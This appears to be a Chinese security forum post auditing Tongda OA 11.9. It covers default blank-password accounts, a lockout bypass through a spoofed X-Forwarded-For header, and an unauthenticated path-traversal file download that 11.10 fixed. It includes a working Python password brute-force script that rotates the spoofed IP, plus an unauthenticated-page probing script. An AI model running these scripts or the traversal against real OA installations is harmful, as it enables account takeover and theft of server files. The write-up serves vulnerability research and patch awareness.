安全矩阵

 找回密码
 立即注册
搜索
查看: 1028|回复: 0

某OA 审计小记

[复制链接]

77

主题

77

帖子

257

积分

中级会员

Rank: 3Rank: 3

积分
257
发表于 2022-9-3 23:19:08 | 显示全部楼层 |阅读模式

通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解
通达oa 11.9 的下载地址 默认安装地址是 D:\MYOA 联网状态下会自动更新到通达 oa 11.10
安装成功后,登录界面如下 默认账号为 admin 对应密码为空

编辑
登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功

编辑


爆破密码
正常输入账号名密码时,输入三次错误就会禁止10分钟

编辑


编辑
我们可以通过代码方面追究其原因
webroot/inc/td_core.php

编辑
$USER_IP 的值可以来自于 X-Forwarded-For
写个 python 脚本用于爆破用户名密码

编辑


           

    1. import requests
    2. import sys
    3. import re

    4. def read_passwd(passwordfile):
    5.     withopen(file = passwordfile, mode='r') as f:
    6.         passwd = f.read().splitlines()
    7.         return passwd

    8. def Intruder_password(url,username,passwd_list):
    9.     success_str ="正在进入OA系统,请稍候..."
    10.     a=b=c=d=0
    11.     url = url +"/logincheck.php"
    12.     for passwd in passwd_list:
    13.         payload ="UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
    14.         headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
    15.         response = requests.request("POST", url, data=payload, headers=headers)
    16.         if(re.search(success_str, response.text)):
    17.             print("正确的账号名:{}密码:{}".format(username,passwd))
    18.         else:
    19.             print("错误密码:{}".format(passwd))
    20.         d=d+1
    21.         if(d ==255):
    22.             c = c +1
    23.             d =0
    24.         if(c ==255):
    25.             b = b +1
    26.             c =0
    27.         if(b ==255):
    28.             a = a +1
    29.             b =0


    30. def main():
    31.     iflen(sys.argv) <4:
    32.         print("Usage: Intruder_password.py  targeturl username passwdfile\n"
    33.               "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
    34.         exit()
    35.     url = sys.argv[1]
    36.     username = sys.argv[2]
    37.     passwd_list = read_passwd(sys.argv[3])
    38.     Intruder_password(url,username,passwd_list)

    39. if__name__=='__main__':
    40.     main()
    复制代码


编辑
还有很多可以未授权显示的页面,不一一展示了
未授权文件下载
通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载
构造链接 http://10.0.18.1/inc/package/dow ... ../../../../../../a

  1. import os
  2. import sys
  3. import requests

  4. def file_path(url,filefolder):
  5.     for root, dirs, files in os.walk(filefolder):
  6.         for f in files:
  7.             paths = os.path.join(root,f)
  8.             paths = paths.replace(filefolder,url)
  9.             paths = paths.replace("\","/")
  10.             #print(paths)
  11.             if(f.endswith(".php")):
  12.                 response = requests.get(paths)
  13.                 # print(str(response.status_code)+" "+str(len(response.text))+"  "+paths)
  14.                 print("code:"+str(response.status_code) +" len:"+str(len(response.text))+" url: "+ paths )


  15. def main():
  16.     iflen(sys.argv) <3:
  17.         print("Usage: file_path.py targeturl filefolder\n"
  18.               "Example: python file_path.py http://10.0.18.1:80 "C:\\Users\\admin\\Desktop\\MYOA\\webroot"")
  19.         exit()
  20.     url = sys.argv[1]
  21.     filefolder = sys.argv[2]
  22.     file_path(url,filefolder)


  23. if__name__=='__main__':
  24.     main()
复制代码

编辑
就可以下载到根目录下的 a.zip 文件

编辑
我们从代码层面分析一下漏洞的成因
webroot/inc/package/down.php

编辑
我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download 中
webroot/inc/utility_file.php

编辑
如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码
webroot/inc/package/down.php 我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载

编辑

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 16:19 , Processed in 0.017836 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表